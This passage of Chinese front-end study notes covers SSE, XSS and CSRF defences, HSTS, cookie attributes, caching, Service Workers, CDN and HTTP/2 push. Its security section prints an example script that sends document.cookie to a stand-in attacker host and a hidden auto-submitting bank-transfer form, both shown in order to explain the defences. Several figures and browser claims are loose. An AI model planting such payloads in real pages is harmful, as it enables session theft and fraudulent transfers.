  • 流量控制：监控ws.bufferedAmount避免内存溢出

协议限制

  • 不支持HTTP/2多路复用（需独立连接）
  • 移动网络切换时需手动重连
  • 旧版代理可能阻断WebSocket流量

现代浏览器支持率：全局 > 98%（包括移动端）

Server-Sent Events（SSE）应用场景

SSE 核心特性

协议本质：基于 HTTP 的单向通信协议，允许服务器主动向客户端推送文本数据，保持长连接。

技术特点：

特性 说明
单向通信 仅服务端→客户端方向（对比 WebSocket 双向）
HTTP 基础 使用标准 HTTP 协议，无额外端口需求
自动重连 内置断线重连机制（客户端自动恢复连接）
轻量级协议 数据格式简单（纯文本流），协议开销小
浏览器原生支持 通过 EventSource API 实现（IE 除外）

技术选型对比

场景需求 SSE WebSocket HTTP 轮询
服务器→客户端单向推送 ✔️ 最佳 ⚠️ 过度设计 ❌ 高延迟
双向交互 ❌ 不支持 ✔️ 原生支持 ❌ 低效
浏览器兼容性 ✔️ 除IE ✔️ 广泛 ✔️ 全支持
协议复杂度 ★☆☆ ★★★ ★★☆
部署成本 ★☆☆ ★★☆ ★☆☆

最佳实践

（1）前端实现

const es = new EventSource('/api/stream');

// 监听自定义事件
es.addEventListener('stock', e => {
  renderStock(JSON.parse(e.data));
});

// 错误处理 + 自动重连
es.onerror = () => {
  es.close();
  setTimeout(() => new EventSource(...), 5000);
};

（2）服务端要求

  • 响应头设置：
    Content-Type: text/event-stream
Cache-Control: no-cache
Connection: keep-alive
  • 数据格式规范：
    event: notification  // 事件类型
id: 1678901234       // 消息ID（用于断线续传）
data: {"msg":"Hello"}// 数据内容（可多行）
retry: 10000         // 重连间隔（毫秒）
\n\n                 // 消息结束符（两个换行）

不适用场景

  • 需要客户端频繁上传数据（如实时游戏）→ 选 WebSocket
  • 二进制数据传输（如视频流）→ 选 WebRTC/WebSocket
  • IE 浏览器支持 → 降级为 HTTP 长轮询

理想适用场景

  • 只读数据流
  • 低频事件通知
  • 简单进度更新
  • 兼容标准 HTTP 基础设施

在 90% 的服务器推送场景中，SSE 相比 WebSocket 可减少 40% 开发量

三、网络安全

3.1 攻击防护

XSS（跨站脚本）与防御（内容编码/CSP）

XSS攻击原理与分类

定义：攻击者向网页注入恶意脚本，当用户访问时脚本在浏览器执行，窃取数据或篡改页面。

攻击类型：

类型 注入方式 案例场景
存储型XSS 恶意脚本存入数据库（如评论/消息） 用户浏览含攻击脚本的论坛页面
反射型XSS 脚本通过URL参数注入并即时返回 钓鱼邮件诱导点击含恶意URL
DOM型XSS 前端JS操作DOM时注入 innerHTML加载未过滤数据

危害示例：

// 窃取Cookie的恶意脚本
<script>
  fetch('https://hacker.com/steal?cookie=' + document.cookie);
</script>

核心防御方案

  1. 内容编码（输出转义）
    • 原则：所有不可信数据输出前必须转义！
    • 转义规则：
      输出位置 转义方法 代码示例（JavaScript）
      HTML正文 转义 < > & ‘ “ const safeStr = str.replace(/[&<>”‘]/g, m => &${htmlEscapes[m]};)
      HTML属性 转义 “ ‘ 并包裹在引号中 <div data-value="${escapeAttr(value)}">
      JavaScript 转义 \ ‘ “ < > & + Unicode编码 const jsSafe = JSON.stringify(untrustedData);
      URL参数 使用encodeURIComponent() href=”/search?q=${encodeURIComponent(input)}”
    • 现代框架自定义转义： 
      // React自动转义
<div>{userInput}</div>

// Vue自动转义
<template>{{ userInput }}</template>
  2. 内容安全策略（CSP）
    • 原理：通过HTTP头定义可信资源白名单，阻止非法脚本执行。
    • 关键指令： 
      Content-Security-Policy: 
  default-src 'self';       // 默认仅允许同源
  script-src 'self' https://trusted.cdn.com;  // 脚本来源
  style-src 'self' 'nonce-abc123';  // 样式来源
  img-src *;                // 图片允许任意源
  connect-src https://api.example.com;  // 限制AJAX请求
  frame-ancestors 'none';   // 禁止嵌套
  report-uri /csp-report;   // 违规上报
    • 安全增强策略：
      策略 作用 示例指令
      Nonce机制 仅允许带特定随机数的脚本执行 script-src ‘nonce-abc123’
      Hash白名单 仅允许匹配哈希值的脚本 script-src ‘sha256-xxxxx’
      严格动态 禁止动态创建脚本（eval()/setTimeout） ‘strict-dynamic’

防御体系分层设计

层级 防御措施 有效性
输入层 输入验证 + 过滤 ★★☆
输出层 内容编码（核心防线） ★★★
传输层 HTTPS防止窃听 ★★☆
协议层 CSP（终极防护） ★★★
后置防护 Cookie设置HttpOnly ★★☆

实战代码示例

(1) HTML 代码转义

function escapeHTML(str) {
  const map = { 
    '&': '&amp;', 
    '<': '&lt;', 
    '>': '&gt;',
    '"': '&quot;', 
    "'": '&#39;' 
  };
  return str.replace(/[&<>"']/g, m => map[m]);
}

(2) CSP 配置（Nginx）

add_header Content-Security-Policy "default-src 'self'; 
  script-src 'self' 'unsafe-inline' https:; 
  img-src * data:; 
  style-src 'self' 'unsafe-inline'; 
  frame-ancestors 'none';";

CSRF（跨站请求伪造）与Token验证

CSRF 攻击原理

定义：攻击者诱导用户在已登录状态下访问恶意页面，该页面伪造合法请求（如转账/改密），利用浏览器的自动Cookie发送机制完成非授权操作。

攻击流程：

sequenceDiagram
    participant 用户
    participant 银行网站
    participant 恶意网站

    用户->>银行网站: 正常登录（获得Session Cookie）
    用户->>恶意网站: 访问钓鱼页面
    恶意网站->>银行网站: 自动发送伪造请求（携带用户Cookie）
    银行网站->>恶意网站: 执行操作（误认用户身份）

攻击条件：

  1. 用户已登录目标网站
  2. 网站依赖Cookie验证身份
  3. 用户主动访问恶意页面（含自动提交表单/脚本）

伪造请求示例：

<!-- 钓鱼页面隐藏表单 -->
<body onload="document.forms[0].submit()">
  <form action="https://bank.com/transfer" method="POST">
    <input type="hidden" name="amount" value="10000">
    <input type="hidden" name="to" value="hacker_account">
  </form>
</body>

Token验证防御机制

核心原理：在请求中嵌入服务端生成的随机Token，验证请求是否来自真实页面（恶意网站无法获取Token）。

token 实现流程：

sequenceDiagram
    participant 用户
    participant 前端
    participant 后端

    用户->>前端: 访问页面
    前端->>后端: 请求页面
    后端-->>前端: 返回HTML + CSRF Token（存入Session）
    前端->>后端: 提交表单（携带Token）
    后端->>后端: 验证Token匹配 -> 执行操作

token 生成与存储：

位置 生成方式 存储位置
服务端 加密随机字符串（如crypto.randomBytes(32)） Session/Redis
前端 插入表单/请求头 表单隐藏域/HTTP头

前端集成示例：

<!-- 表单内嵌Token -->
<form action="/transfer" method="POST">
  <input type="hidden" name="_csrf" value="token_value"> 
  <!-- 其他字段 -->
</form>
<!-- AJAX请求携带Token -->
fetch('/api/action', {
  method: 'POST',
  headers: {
    'X-CSRF-Token': 'token_value'  // 自定义请求头
  }
});

服务端验证逻辑：

function verifyCsrfToken(req, res, next) {
  const clientToken = req.body._csrf || req.headers['x-csrf-token'];
  const serverToken = req.session.csrfToken; // 从Session读取
  
  if (!clientToken || clientToken !== serverToken) {
    return res.status(403).send('CSRF Token验证失败');
  }
  next();
}

防御体系分层加固

防御层 措施 作用
Token验证 同步器Token模式 核心防御（阻断伪造请求）
Cookie策略 SameSite=Strict/Lax 阻止第三方发送Cookie
操作验证 敏感操作需二次确认（密码/OTP） 增加攻击门槛
Referer检查 验证请求来源域名 辅助防御（可被绕过）

SameSite Cookie 示例：

// 登录响应设置Cookie
res.cookie('sessionID', 'abc123', {
  httpOnly: true,
  sameSite: 'strict',  // 完全禁止第三方发送
  secure: true         // 仅HTTPS传输
});

Token 设计最佳实践

  • 单次有效性：每次提交后刷新Token（防重放攻击）
  • 绑定用户：Token关联用户ID（防不同用户间复用）
  • 短时效性：设置Token有效期（如10分钟）
  • 双重验证：关键操作组合Token + 生物认证

攻击场景对比

特性 CSRF XSS
攻击目标 利用用户身份执行操作 窃取用户数据
依赖条件 用户登录状态 + 访问恶意页面 网站存在注入漏洞
防御核心 Token验证 + SameSite Cookie 输入输出过滤 + CSP

HTTPS混合内容风险与HSTS策略

混合内容风险

定义：HTTPS页面中加载了通过HTTP协议传输的子资源（如图片/脚本/样式），导致页面安全等级被破坏。

攻击原理：

sequenceDiagram
    participant 用户
    participant HTTPS网站
    participant 攻击者
    participant HTTP资源服务器

    用户->>HTTPS网站: 访问https://example.com
    HTTPS网站->>用户: 返回加密HTML
    用户->>HTTP资源服务器: 请求http://cdn.com/script.js（未加密）
    攻击者->>用户: 中间人劫持HTTP流量 -> 注入恶意脚本
    用户->>HTTPS网站: 执行被篡改脚本 -> 数据泄露

风险等级：

类型 危险度 案例 浏览器表现
主动混合内容 ★★★ <script>/<iframe> 默认拦截
被动混合内容 ★★☆ <img>/<audio> 加载但显示”不安全”警告

HSTS（HTTP严格传输安全）策略

核心目标：强制浏览器始终通过HTTPS访问网站，消除HTTP降级攻击风险。

HSTS 工作原理：

sequenceDiagram
    participant 浏览器
    participant 网站服务器

    浏览器->>网站服务器: 首次访问 https://example.com
    网站服务器->>浏览器: 响应头: Strict-Transport-Security: max-age=31536000
    Note right of 浏览器: 本地HSTS缓存生效
    浏览器->>网站服务器: 后续所有请求自动HTTPS（即使输入http://）

关键响应头指令：

Strict-Transport-Security: 
  max-age=31536000;           // 有效期1年（秒）
  includeSubDomains;          // 保护所有子域名
  preload                    // 申请加入浏览器预加载列表

防御效果对比:

攻击类型 无防护 HSTS启用后
SSL剥离攻击 ❌ 可能降级到HTTP ✔️ 强制HTTPS连接
混合内容注入 ❌ 可劫持HTTP资源 ✔️ 自动升级资源请求
Cookie劫持 ❌ 明文传输Cookie ✔️ 全程加密

关键注意事项

  • 回退风险：
    • 启用HSTS后若关闭HTTPS → 用户无法访问网站（直到max-age过期）
    • 解决方案：部署时先设置较短max-age（如1小时）
  • 首次访问漏洞：
    • 用户首次访问http://时仍可能被劫持
    • 终极方案：申请浏览器HSTS预加载列表（Chrome/Firefox内置）
  • 测试环境规避:
    # 开发环境禁用HSTS
add_header Strict-Transport-Security "max-age=0;";

完整安全配置示例

server {
  listen 443 ssl;
  server_name example.com;

  # TLS配置
  ssl_certificate /path/to/cert.pem;
  ssl_certificate_key /path/to/key.pem;
  ssl_protocols TLSv1.2 TLSv1.3;

  # HSTS配置（生产环境）
  add_header Strict-Transport-Security "max-age=31536000; includeSubDomains; preload";

  # 混合内容升级
  add_header Content-Security-Policy "upgrade-insecure-requests";
}

upgrade-insecure-requests：自动将HTTP资源升级为HTTPS请求

3.2 安全实践

Secure 属性

作用：确保Cookie仅通过HTTPS加密连接传输，防止中间人窃听。

配置方式：

Set-Cookie: sessionId=abc123; Secure;

安全影响：

场景 无Secure 启用Secure
HTTP明文请求 Cookie明文传输 ❌ 不发送Cookie ✔️
HTTPS加密请求 正常发送 ✔️ 正常发送 ✔️

必须项：任何包含敏感信息（如会话ID）的Cookie必须设置Secure。

HttpOnly 属性

作用：阻止JavaScript通过document.cookie访问Cookie，防范XSS攻击窃取。

配置方式：

Set-Cookie: sessionId=abc123; HttpOnly;

安全影响：

// 恶意脚本尝试窃取Cookie
fetch('https://hacker.com?cookie=' + document.cookie); 

// 结果：
//   ❌ 无HttpOnly：成功窃取会话ID
//   ✔️ 有HttpOnly：document.cookie无法读取该Cookie

最佳实践：身份验证类Cookie必须启用HttpOnly。

SameSite 属性

作用：控制Cookie在跨站请求中是否发送，防御CSRF攻击。

配置值：

属性值 跨站请求发送规则 适用场景
Strict 完全禁止跨站发送 银行操作等高敏感场景
Lax 仅允许导航跳转（<a>链接） 默认推荐值
None 允许跨站发送（需同时设置Secure） 跨域单点登录(SSO)

配置方式：

Set-Cookie: sessionId=abc123; SameSite=Lax;

跨站请求场景对比：

请求类型 SameSite=Strict SameSite=Lax SameSite=None
直接地址栏输入 ✔️ ✔️ ✔️
<a href>跳转 ❌ ✔️ ✔️
<form>表单提交 ❌ ❌ ✔️
AJAX跨域请求 ❌ ❌ ✔️

综合防御配置示例

(1) 安全会话 Cookie 设置

Set-Cookie: 
  sessionId=abc123; 
  Secure;          // 仅HTTPS传输
  HttpOnly;        // 阻止JS访问
  SameSite=Lax;    // 防御CSRF
  Path=/;          // 作用路径
  Max-Age=3600;    // 有效期（秒）

(2) 跨域认证 Cookie（OAuth）

Set-Cookie: 
  oauth_token=xyz789; 
  Secure; 
  HttpOnly; 
  SameSite=None;   // 允许跨站发送

OAuth 2.0授权流程

sequenceDiagram
    participant User as 资源所有者 (用户)
    participant Client as 客户端 (第三方应用)
    participant AuthServer as 授权服务器 (如Google/Facebook)
    participant ResourceServer as 资源服务器 (API服务)

    Note over User,Client: 前置条件：客户端已在授权服务器注册<br>获得client_id和client_secret

    User->>Client: 1. 点击"使用XX账号登录"
    Client->>AuthServer: 2. 重定向到授权端点<br>?response_type=code<br>&client_id=CLIENT_ID<br>&redirect_uri=CALLBACK_URL<br>&scope=email profile<br>&state=RANDOM_STRING
    AuthServer->>User: 3. 显示登录/授权页面
    User->>AuthServer: 4. 输入凭证并授权
    AuthServer->>Client: 5. 重定向到callback_uri<br>?code=AUTHORIZATION_CODE<br>&state=RANDOM_STRING
    Client->>AuthServer: 6. POST令牌请求<br>grant_type=authorization_code<br>&code=AUTHORIZATION_CODE<br>&redirect_uri=CALLBACK_URL<br>&client_id=CLIENT_ID<br>&client_secret=CLIENT_SECRET
    AuthServer->>Client: 7. 返回访问令牌<br>{access_token: "xxx",<br>token_type: "bearer",<br>expires_in: 3600,<br>refresh_token: "yyy"}
    Client->>ResourceServer: 8. 携带令牌请求资源<br>Authorization: Bearer xxx
    ResourceServer->>Client: 9. 返回受保护资源

四、性能优化

4.1 缓存策略

强缓存（Cache-Control/Expires）与协商缓存（ETag/Last-Modified）

强缓存（本地缓存）

浏览器不向服务器发送请求，直接使用本地缓存资源。

核心响应头：

响应头 优先级 值格式 示例 特性说明
Cache-Control 高 指令组合 max-age=3600, public HTTP/1.1标准，精确控制缓存
Expires 低 GMT时间戳 Expires: Wed, 21 Oct 2025 07:28:00 GMT HTTP/1.0遗留，存在时区问题

常见指令：

Cache-Control: 
  max-age=3600,          // 缓存有效期（秒）
  public,               // 允许代理/CDN缓存
  immutable,            // 资源永不更新（适用于版本化文件）
  no-store,             // 禁止缓存（最高优先级）
  no-cache              // 需协商验证（非字面意思）

工作流程：

graph LR
  A[浏览器请求资源] --> B{本地缓存是否有效?}
  B -->|Cache-Control有效| C[直接使用缓存]
  B -->|缓存失效| D[发起网络请求]

协商缓存（条件请求）

浏览器携带验证信息请求服务器，由服务器决定是否返回资源（304复用缓存）。

核心头对：

响应头 请求头 验证原理 优先级
ETag If-None-Match 资源内容哈希值（如”d53jk-“） 高
Last-Modified If-Modified-Since 最后修改时间戳 低

工作流程：

sequenceDiagram
    participant Browser
    participant Server

    Browser->>Server: 首次请求 /style.css
    Server->>Browser: 返回资源 + ETag: W/"d53jk-"
    Browser->>Server: 二次请求（携带 If-None-Match: W/"d53jk-"）
    alt 资源未修改
        Server->>Browser: 304 Not Modified（空body）
        Browser->>Browser: 使用缓存
    else 资源已更新
        Server->>Browser: 200 OK + 新资源
    end

对比与选型指南

特性 强缓存 协商缓存
网络请求 无请求 有请求（304响应）
带宽消耗 0 小（仅头部传输）
更新灵敏度 依赖max-age设置 即时更新
适用资源 静态资源（JS/CSS/图片版本化） 动态内容（个性化API数据）
典型配置 Cache-Control: max-age=31536000, immutable Cache-Control: no-cache + ETag

最佳实践配置

(1) 静态资源（强缓存）

location /static/ {
  add_header Cache-Control "public, max-age=31536000, immutable";
}

(2) 动态 API（协商缓存）

location /api/ {
  add_header Cache-Control "no-cache";
  etag on;  # 启用ETag
}

(3) 混合策略

Cache-Control: max-age=600, must-revalidate

600秒内强缓存 → 过期后必须验证（转为协商缓存）

浏览器行为验证

  • 强缓存生效：Chrome DevTools → Network → Size列显示 (memory cache)
  • 协商缓存生效：
    • 响应状态码 304
    • Headers中的 ETag/Last-Modified 与请求头匹配

缓存层级决策策略

graph TD
  A[资源类型] --> B{是否版本化?}
  B -->|是| C[强缓存: max-age=1年+immutable]
  B -->|否| D{更新频率?}
  D -->|高频更新| E[协商缓存: no-cache+ETag]
  D -->|低频更新| F[强缓存: max-age=1小时]

Service Worker离线缓存

核心原理

Service Worker 是浏览器独立于网页运行的脚本，作为网络请求的可编程代理，通过拦截请求实现离线缓存控制。

graph LR
  A[网页请求] --> B{Service Worker}
  B -->|命中缓存| C[返回缓存]
  B -->|未命中| D[转发请求 -> 网络]
  D --> E[缓存新资源]

关键实现步骤

(1) 注册与安装

// 主线程注册
if ('serviceWorker' in navigator) {
  navigator.serviceWorker.register('/sw.js', { scope: '/' })
    .then(reg => console.log('SW注册成功'))
    .catch(err => console.error('SW注册失败', err));
}

sw.js - 安装阶段：

const CACHE_NAME = 'v1-static';
const PRE_CACHE_URLS = [  // 预缓存列表
  '/',
  '/index.html',
  '/styles.css',
  '/app.js'
];

self.addEventListener('install', event => {
  event.waitUntil(
    caches.open(CACHE_NAME)
      .then(cache => cache.addAll(PRE_CACHE_URLS))  // 预缓存核心资源
      .then(() => self.skipWaiting())  // 强制激活新SW
  );
});

(2) 缓存策略实施 - 拦截请求并响应：

self.addEventListener('fetch', event => {
  event.respondWith(
    // 策略1：缓存优先（离线优先）
    caches.match(event.request)
      .then(cached => cached || fetchAndCache(event.request))
    
    // 策略2：网络优先（实时数据）
    /*
    fetch(event.request)
      .catch(() => caches.match(event.request))
    */
  );
});

// 网络请求并缓存
function fetchAndCache(request) {
  return fetch(request).then(networkRes => {
    // 克隆响应（流只能读取一次）
    const resClone = networkRes.clone();
    caches.open(CACHE_NAME).then(cache => cache.put(request, resClone));
    return networkRes;
  });
}

缓存更新机制

(1) 版本化缓存命名

// 更新SW时修改版本号
const CACHE_NAME = 'v2-static';  // 新版本

(2) 激活阶段清理旧缓存

self.addEventListener('activate', event => {
  event.waitUntil(
    caches.keys().then(cacheNames => 
      Promise.all(
        cacheNames.map(name => {
          if (name !== CACHE_NAME) return caches.delete(name); // 删除旧缓存
        })
      ).then(() => self.clients.claim())  // 立即控制所有页面
  );
});

性能优化技巧

(1) 缓存分段策略

const CORE_CACHE = 'core-v1';   // 核心页面
const IMG_CACHE = 'images-v1';  // 图片资源
const API_CACHE = 'api-v1';     // API数据

(2) 动态缓存限制

// 缓存最多50个API响应
caches.open(API_CACHE).then(cache => {
  cache.keys().then(keys => {
    if (keys.length > 50) cache.delete(keys[0]);
  });
});

(3) Stale-While-Revalidate

event.respondWith(
  caches.match(request).then(cached => {
    const fetchPromise = fetchAndCache(request);
    return cached || fetchPromise;  // 优先返回缓存，后台更新
  })
);

完整示例架构

/public
  ├── index.html
  ├── styles.css
  ├── app.js
  └── sw.js   # Service Worker主文件
// sw.js
const CORE_CACHE = 'core-v1';
const CORE_URLS = [ '/', '/offline.html' ];

// 安装阶段
self.addEventListener('install', event => {
  event.waitUntil(
    caches.open(CORE_CACHE)
      .then(cache => cache.addAll(CORE_URLS))
      .then(() => self.skipWaiting())
  );
});

// 激活清理
self.addEventListener('activate', event => {
  event.waitUntil(
    caches.keys().then(keys => 
      Promise.all(keys.map(key => 
        key !== CORE_CACHE ? caches.delete(key) : Promise.resolve()
      ))
    ).then(() => self.clients.claim())
  );
});

// 拦截请求
self.addEventListener('fetch', event => {
  const { request } = event;
  
  // 导航请求回退到离线页面
  if (request.mode === 'navigate') {
    event.respondWith(
      fetch(request).catch(() => caches.match('/offline.html'))
    );
    return;
  }

  // 静态资源缓存优先
  event.respondWith(
    caches.match(request).then(cached => 
      cached || fetch(request).then(res => {
        // 仅缓存安全资源
        if (isCacheable(request, res)) {
          const clone = res.clone();
          caches.open(dynamicCacheName(request)).then(cache => 
            cache.put(request, clone)
          );
        }
        return res;
      })
    )
  );
});

function isCacheable(req, res) {
  return req.method === 'GET' && 
         res.status === 200 && 
         !req.url.includes('/api/private');
}

4.2 资源加载优化

CDN原理与缓存配置（边缘节点/回源策略）

CDN 核心原理

定义：内容分发网络（Content Delivery Network），通过全球分布的边缘节点缓存静态资源，使用户就近访问，降低延迟与源站压力。

graph LR
  A[用户] --> B{就近边缘节点}
  B -->|资源命中| C[快速返回缓存]
  B -->|资源未命中| D[回源站拉取资源]
  D --> E[缓存至边缘节点]
  E --> A

三大核心组件：

  • 边缘节点（Edge Node）
  • 回源策略（Origin Fetch）
  • 调度系统（DNS负载均衡）

边缘节点（Edge Node）

  • 位置：全球数百个POP点（Point of Presence）
  • 功能：
    • 直接响应终端用户请求
    • 缓存静态资源（HTML/CSS/JS/图片/视频）
    • 执行安全防护（DDoS缓解/WAF）

回源策略（Origin Fetch）

  • 触发条件：边缘节点无缓存或缓存过期
  • 回源流程：
sequenceDiagram
    participant User as 用户
    participant EdgeNode as CDN边缘节点
    participant Origin as 源站服务器

    User->>EdgeNode: 1. 请求资源 /image.jpg
    Note right of EdgeNode: 检查本地缓存
    alt 缓存命中且有效
        EdgeNode-->>User: 2. 直接返回缓存资源
    else 缓存未命中或过期
        EdgeNode->>Origin: 3. 回源请求 (携带缓存验证头)
        Origin-->>EdgeNode: 4. 返回资源 + 缓存头
        EdgeNode->>EdgeNode: 5. 缓存资源 (按策略)
        EdgeNode-->>User: 6. 返回资源
    end

调度系统（DNS负载均衡）

  • GSLB（全局负载均衡）：根据用户IP分配最近节点
  • 调度算法：
    • 地理位置优先
    • 节点健康检查
    • 实时流量分析

缓存配置策略

(1) 规则设置

配置方式 指令示例 作用
强制缓存 Cache-Control: public, max-age=86400 资源在CDN缓存1天
忽略缓存 Cache-Control: no-store CDN不缓存（每次回源）
条件缓存 Cache-Control: no-cache CDN每次回源验证（类似协商缓存）

(2) 典型资源配置

# Nginx配置示例（源站）
location ~* \.(js|css|png)$ {
  add_header Cache-Control "public, max-age=31536000, immutable";  # 静态资源长缓存
}

location /api/ {
  add_header Cache-Control "no-cache";  # API不缓存
}

边缘节点缓存行为

请求状态 处理方式 响应时间对比源站
缓存命中 直接返回资源 快 5-10倍（<50ms）
缓存未命中 回源拉取 → 缓存 → 返回 与源站相同
缓存过期 回源验证（If-Modified-Since） 节省带宽（304响应）

资源压缩（Gzip/Brotli）与HTTP/2多路复用

资源压缩（Gzip vs Brotli）

核心目标：减小资源体积 → 降低传输时间

特性 Gzip Brotli 优势对比
压缩率 减少70%大小 减少85%大小 Brotli高20%+
算法原理 DEFLATE算法（LZ77+哈夫曼） LZ77改进+上下文建模 更高效字典压缩
压缩速度 快（低CPU消耗） 慢（压缩时CPU高3倍） Gzip更适合动态压缩
解压速度 极快 极快 持平
浏览器支持 全平台（IE6+） Chrome>50, Firefox>44, Safari>15 Gzip兼容性更广
最佳适用 动态内容（API响应） 静态资源（JS/CSS/字体）

配置示例：

# 启用双压缩策略
gzip on;
gzip_types text/plain text/css application/json application/javascript;
gzip_min_length 1024;  # 大于1KB才压缩

brotli on;
brotli_types application/xml image/svg+xml;
brotli_static on;      # 优先使用预压缩文件

前端收益：

原始文件： 200KB
Gzip后：  60KB（节省140KB）
Brotli后：30KB（节省170KB） → 3G网络下加载时间减少40%

HTTP/2多路复用（Multiplexing）

核心问题：HTTP/1.1的队头阻塞（6个TCP连接限制）

graph LR
  A[HTTP/1.1] --> B[请求1] --> C[响应1] --> D[请求2] --> E[响应2]
  F[HTTP/2] --> G[请求1/2/3] --> H[响应1/2/3 并行]

实现原理：

  • 二进制分帧层：
    • 将请求/响应分解为二进制帧（HEADERS/DATA）
    • 每个帧携带流ID（Stream Identifier）
  • 流优先级：
graph TB
  S1[流ID11 CSS] -->|优先级高| 浏览器
  S2[流ID13 JS] -->|优先级中| 浏览器
  S3[流ID15 图片] -->|优先级低| 浏览器

性能对比：

场景 HTTP/1.1 HTTP/2 提升
100个小文件（1KB） 1.5s（6连接排队） 0.3s（单连接并行） 80%
首屏渲染时间 2.8s 1.5s 46%
TCP连接数 6-8个 1个 资源节省

HTTP/2核心特性协同优化

特性 配合压缩与多路复用的作用
头部压缩（HPACK） 减少请求头体积（Cookie/User-Agent等）
服务器推送 主动推送关键资源（无需等待HTML解析）
流优先级 优先传输CSS/JS（保障渲染速度）

完整工作流：

sequenceDiagram
    participant Client
    participant Server

    Client->>Server: 发起HTTPS连接（TLS握手）
    Server->>Client: 返回HTTP/2协议支持
    Client->>Server: 发送HEADERS帧（含HPACK压缩头）
    Server->>Client: 推送关键CSS（PUSH_PROMISE帧）
    Server->>Client: 并行传输HTML+CSS+JS（多DATA帧）
    Client->>Browser: 流优先级排序 -> 快速渲染

实战优化策略

(1) 压缩策略组合

  • 静态资源：预压缩Brotli（.br后缀） + 备用Gzip
  • 动态内容：实时Gzip压缩（CPU消耗低）

(2) HTTP/2 最佳实践

# 强制启用HTTP/2
listen 443 ssl http2; 

# 启用服务器推送（需谨慎）
http2_push /style.css; 
http2_push /app.js;

(3) 资源加载优化

  • 减少域名分片（HTTP/2下单域名更高效）
  • 图片懒加载 + 异步加载非关键JS

预加载（preload）与预连接（preconnect）

预加载（preload）

核心作用：强制提前加载关键渲染资源，突破浏览器默认优先级限制，加速关键路径渲染。

graph LR
  A[HTML解析] --> B{发现 preload 标签}
  B -->|立即请求| C[关键资源]
  C --> D[提前加载完成]
  D --> E[页面渲染直接使用]

实现方式：

<!-- 基本用法 -->
<link rel="preload" href="font.woff2" as="font" type="font/woff2" crossorigin>
<link rel="preload" href="critical.css" as="style">
<link rel="preload" href="main.js" as="script">
<!-- HTTP响应头方式（优先级更高） -->
Link: </critical.css>; rel=preload; as=style

关键特性：

属性 作用 必填项
href 资源路径 ✔️
as 资源类型（font/script/style） ✔️
type MIME类型（如font/woff2） 推荐
crossorigin 跨域资源必须 条件
fetchpriority 优先级控制（high/low） Chrome

适用场景：

  • 首屏关键CSS：避免渲染阻塞
  • 自定义字体：消除FOIT（字体未加载时的空白）
  • 首屏图片：LCP（最大内容绘制）优化
  • 核心框架JS：提前解析编译

预连接（preconnect）

核心作用：提前完成跨域连接的握手阶段，节省DNS+TCP+TLS时间（约100-500ms）。

sequenceDiagram
    participant Browser
    participant CDN as 第三方服务器

    Browser->>Browser: 解析HTML发现preconnect
    Browser->>CDN: 1. DNS解析
    Browser->>CDN: 2. TCP握手
    Browser->>CDN: 3. TLS协商
    Note over Browser,CDN: 连接就绪（节省3次RTT）
    Browser->>CDN: 实际资源请求（立即发送）

实现方式：

<!-- 预连接第三方源 -->
<link rel="preconnect" href="https://cdn.example.com">
<link rel="preconnect" href="https://api.example.com" crossorigin>

<!-- DNS预取（更轻量） -->
<link rel="dns-prefetch" href="//cdn.example.com">

关键属性：

属性 作用
href 目标域名（无路径）
crossorigin 需凭证的资源必须设置

适用场景：

  • CDN资源域：静态资源加载
  • API接口域：AJAX请求优化
  • 分析统计域：Google Analytics等
  • 第三方组件：社交媒体插件

对比决策指南

特性 preload preconnect
优化目标 资源本身 网络连接
网络消耗 高（传输资源内容） 低（仅握手）
执行时机 立即下载资源 建立连接池备用
最佳适用 已知URL的关键渲染资源 未知URL的第三方域
优先级 非常高（强制加载） 高
浏览器支持 Chrome>58, Firefox>56, Safari>11 Chrome>46, Firefox>39, Safari>11

4.3 协议升级

HTTP/2服务端推送（Server Push）

核心原理

服务端在响应主资源请求时，主动推送关联子资源到浏览器缓存，消除传统”请求-响应”链的串行延迟。

sequenceDiagram
    participant Client as 客户端
    participant Server as 服务器

    Client->>Server: 请求HTML文档 (GET /index.html)
    Server->>Server: 解析HTML依赖 (CSS/JS/图片)
    Server->>Client: 响应HTML + PUSH_PROMISE帧 (承诺推送/css/style.css)
    Server->>Client: 推送CSS文件 (DATA帧)
    Server->>Client: 推送JS文件 (PUSH_PROMISE + DATA)
    Client->>Client: 从缓存直接加载推送资源
    Note over Client: 渲染无需等待后续请求

与传统加载对比

阶段 HTTP/1.1 HTTP/2 + Server Push
首次请求 获取HTML 获取HTML
发现子资源 解析HTML → 发起CSS/JS请求 无需请求（已推送至缓存）
资源传输 顺序等待（队头阻塞） 并行传输
渲染开始 300-500ms 0ms（CSS已就绪）

技术实现详解

(1) 推送触发条件

  • 显式配置（开发者指定）
    # Nginx配置
http2_push /static/style.css;
http2_push_preload on;  # 解析Link头部
  • 隐式触发（需启用http2_push_preload）
    # 响应头声明需推送资源
Link: </static/script.js>; rel=preload; as=script

(2) 推送协议流程

  • 发送 PUSH_PROMISE帧
    • 包含欲推送资源的请求头（:path/:authority）
    • 承诺的 流ID 为偶数（区分客户端请求的奇数流）
  • 推送 HEADERS+DATA帧
    • 在原始响应流完成前发送推送资源
  • 客户端 缓存管理
    • 浏览器验证缓存有效性（类似常规请求）

(3) 客户端控制机制

  • 接受推送：默认自动缓存（除非缓存头禁止）
  • 拒绝推送：发送 RST_STREAM帧（场景：资源已缓存）
sequenceDiagram
    Server->>Client: PUSH_PROMISE (流ID:2)
    alt 客户端需要该资源
        Client-->>Server: 无操作（接受推送）
    else 资源已缓存
        Client->>Server: RST_STREAM (流ID:2)
    end

性能优化场景

场景 传统方式问题 Server Push解决方案
关键CSS阻塞渲染 需往返请求 → 延迟渲染 推送CSS → 实现”0-RTT渲染”
字体加载空白(FOIT) 文字延迟显示 推送字体文件 → 消除布局偏移
首屏图片(LCP) 图片请求靠后 → LCP延迟 推送英雄图 → 加速LCP

配置最佳实践：Node.js 实现

const http2 = require('http2');
const server = http2.createSecureServer({ cert, key });

server.on('stream', (stream, headers) => {
  if (headers[':path'] === '/index.html') {
    // 推送CSS
    stream.pushStream({ ':path': '/style.css' }, (pushStream) => {
      pushStream.respondWithFile('style.css', {
        'content-type': 'text/css'
      });
    });
    
    // 响应HTML
    stream.respondWithFile('index.html', {
      'content-type': 'text/html'
    });
  }
});

黄金法则

  • 仅推送关键渲染资源
    • 首屏CSS
    • 阻塞渲染JS
    • LCP图片
  • 体积控制
    • 单页推送资源≤30KB
    • 总推送量≤100KB（避免队头阻塞）
  • 缓存感知
    • 结合 Cache-Digest 草案（暂未普及）
    • 短TTL资源避免推送（如个性化内容）

浏览器支持与限制

浏览器 支持版本 特殊限制
Chrome 49+ 需HTTPS
Firefox 44+ 允许HTTP推送（非标准）
